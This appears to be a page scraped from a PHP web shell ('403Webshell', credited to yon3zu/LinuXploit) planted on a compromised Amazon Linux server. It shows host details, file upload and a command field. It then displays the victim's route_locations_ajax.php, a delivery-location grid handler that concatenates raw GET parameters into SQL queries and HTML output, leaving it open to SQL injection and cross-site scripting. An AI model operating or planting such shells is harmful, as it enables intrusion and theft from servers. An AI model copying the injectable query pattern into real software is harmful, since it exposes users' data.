403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/nymp/www/mod/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/nymp/www/mod/route_locations_ajax.php
<?php
	//ini_set('display_errors',1);
	//error_reporting(E_ALL & ~E_NOTICE);
?>
<?php include('_mod_security.php'); ?>
<?php
	//header('Content-Type: application/json');
	//var_dump($_GET);
	$sql = '';
	switch ($_GET['func']):
		case 'grid' :
			require_once('classes/lcs_db_grid.php');
			$dbg = new lcs_db_grid;
			$dbg->start_header_section();
			$dbg->start_header();
			$dbg->add_column(array('label' => 'Location Name', 'dbcol' => 'l.location_name', 'width' => '250px'));
			$dbg->add_column(array('label' => 'Bldg', 'dbcol' => 'l.bldg_nbr', 'width' => '50px'));
			$dbg->add_column(array('label' => 'Street', 'dbcol' => 'l.street', 'width' => '200px'));
			$dbg->add_column(array('label' => 'City', 'dbcol' => 'l.city', 'width' => '100px'));
			$dbg->add_column(array('label' => 'State', 'dbcol' => 'l.state', 'width' => '65px'));
			$dbg->add_column(array('label' => 'Zip', 'dbcol' => 'l.zip', 'width' => '75px'));
			$dbg->add_column(array('label' => 'Last Delivery', 'dbcol' => 'dd.create_date', 'width' => '145px'));
			$dbg->add_column(array('label' => 'Last Qty', 'dbcol' => 'dd.qty', 'width' => '65px', 'align' => 'right'));
			$dbg->add_column(array('label' => 'Delete', 'sortable' => false, 'searchable' => false, 'width' => '75px', 'align' => 'center'));
			$dbg->end_header();
			$dbg->end_header_section();
			$sql = "SELECT l.*, dd.qty, dd.create_date AS delivery_date FROM locations l INNER JOIN routes_zip_codes rz ON (l.zip = rz.zip) ".
					"LEFT OUTER JOIN deliveries dd ON (l.location_id = dd.location_id AND dd.create_date = (SELECT MAX(create_date) FROM deliveries WHERE location_id = l.location_id)) ".
					"WHERE ".$dbg->search_spec()." ".$_GET['parm1']." ".$_GET['parm2']." ".$_GET['parm3']." "." AND l.active = 1 AND l.region_id IN (".get_regions().") ".
					"ORDER BY ".$dbg->sort_spec();
			//echo ' === '.$sql.' === ';
			$xls_sql = $sql;
			$xls_sql_encoded = xls_sql_encrypt($xls_sql);
			$result = $db->query($sql) or die('Database Error!');
			$dbg->start_data_section();
			$total_qty = 0;
			if ($result->rowCount() > 0) :
				while ($row = $result->fetch(PDO::FETCH_OBJ)) :
					if (strtotime($row->delivery_date) > (strtotime('-1 day'))) :
						$checkmark = ' <img src="img/check_icon.gif" style="border:none;" />';
					else :
						$checkmark = '';
					endif;
					$dbg->start_row();
					$dbg->add_cell('<a href="index.php?IX='.$_GET['ix_form'].'&id='.$row->location_id.'" >'.$row->location_name.'</a>');
					$dbg->add_cell($row->bldg_nbr);
					$dbg->add_cell($row->street);
					$dbg->add_cell($row->city);
					$dbg->add_cell($row->state);
					$dbg->add_cell($row->zip);
					$dbg->add_cell($row->delivery_date.$checkmark);
					$dbg->add_cell(number_format($row->qty, 0, '.', ','));
					$dbg->add_cell('<a href="javascript:confirmDelete(\'Are you sure? This action cannot be reversed.\', \''.$row->location_id.'\', \''.$_GET['div'].'\');" onclick="ar_lcs_db_loaded[\'db_grid_zipcodes\'] = false;"><img src="img/delete_icon.gif" style="border:none;" /></a>');
					$dbg->end_row();
					$total_qty += $row->qty;
				endwhile;
			else :
				$dbg->start_row();
				$dbg->add_cell('No records found');
				$dbg->end_row();
			endif;
			$dbg->end_data_section();
			echo json_encode(array('row_count' => $result->rowCount(), 'html' => $dbg->get_html(), 'xls_sql' => $xls_sql_encoded, 'extra_data'=> 'Total qty: '.number_format($total_qty, 0, '.', ',')));
			return;
			break;
		case 'delete' :
			$sql = "DELETE FROM locations WHERE location_id = ".nz(trim($_GET['id']), '0')." AND region_id IN (".get_regions().") ";
			try {
				$db->query($sql);
				$msg = 'Success';
			} catch(PDOException $ex) {
				$msg = 'Database Error! '.$ex->getMessage.' === '.$sql.' === ';
			}
			echo json_encode(array('result' => $msg));
			return;
			break;
	endswitch;
?>

Youez - 2016 - github.com/yon3zu
LinuXploit